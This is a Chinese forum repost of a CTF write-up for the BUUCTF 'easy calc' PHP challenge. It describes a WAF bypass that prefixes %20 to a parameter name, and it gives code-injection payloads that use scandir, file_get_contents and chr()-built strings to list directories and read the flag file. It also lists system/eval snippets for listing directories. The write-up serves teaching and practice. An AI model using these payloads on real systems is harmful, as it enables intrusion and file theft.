ToB企服应用市场:ToB评测及商务社交产业平台
标题:
【BUUCTF】easy calc
[打印本页]
作者:
小秦哥
时间:
2024-7-26 16:01
标题:
【BUUCTF】easy calc
【BUUCTF】easy calc (PHP代码审计)
题目来源
收录于:BUUCTF BUUCTF2019
题目形貌
一个计算器,实验SSTI,SQL注入都无果
对计算过程抓包,发现/clac.php,表达式通过num参数进行传递
访问/calc.php,得到源码
[/code]当num传递的为字母时,被waf拦截(另一个waf,不是上面PHP文件设置的黑名单)
[align=center][img]https://img2023.cnblogs.com/blog/3159215/202407/3159215-20240726103741298-1069986732.png[/img][/align]
[size=5]题解[/size]
当在num前加上空格,即变量为%20num时,就可以绕过WAF对num的审计。在转化为PHP的key=>value时,PHP解析了传入的key,做了两件事情:
[list]
[*]删除空白符
[*]转化特殊字符
[/list]就可以把想要的变量转化为num了。
exp如下:
[code]calc.php?%20num=phpinfo()
复制代码
接下来获取目录:print_r(scandir('/'))
这里实验使用 system('ls') 获取目录时失败
由于对'进行过滤,可以使用chr()函数绕过,payload如下:
calc.php?%20num=print_r(scandir(chr(47)))
复制代码
接下来对文件进行读取,payload如下:
calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
复制代码
即file_get_contents('/f1agg')
得到flag
总结
PHP解析参数时进行以下两步:
删除空白符
转化特殊字符
可以使用在参数名前加%20的方法进行waf绕过
查看目录的PHP语句如下:
system('ls');
echo system('ls');
eval(system('ls'));
eval("echo system('ls');");
print_r(scandir('.'));
echo print_r(scandir('.'));
eval(print_r(scandir('.')));
eval("print_r(scandir('.'));");
eval("echo print_r(scandir('.'));");
var_dump(scandir('.'));
echo var_dump(scandir('.'));
eval(var_dump(scandir('.')));
eval("var_dump(scandir('.'));");
eval("echo var_dump(scandir('.'));");
复制代码
读取文件内容的PHP语句将上面的函数改为file_get_contents()即可。
当对引号进行过滤时,可以使用chr()拼接的方式进行过滤。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)
Powered by Discuz! X3.4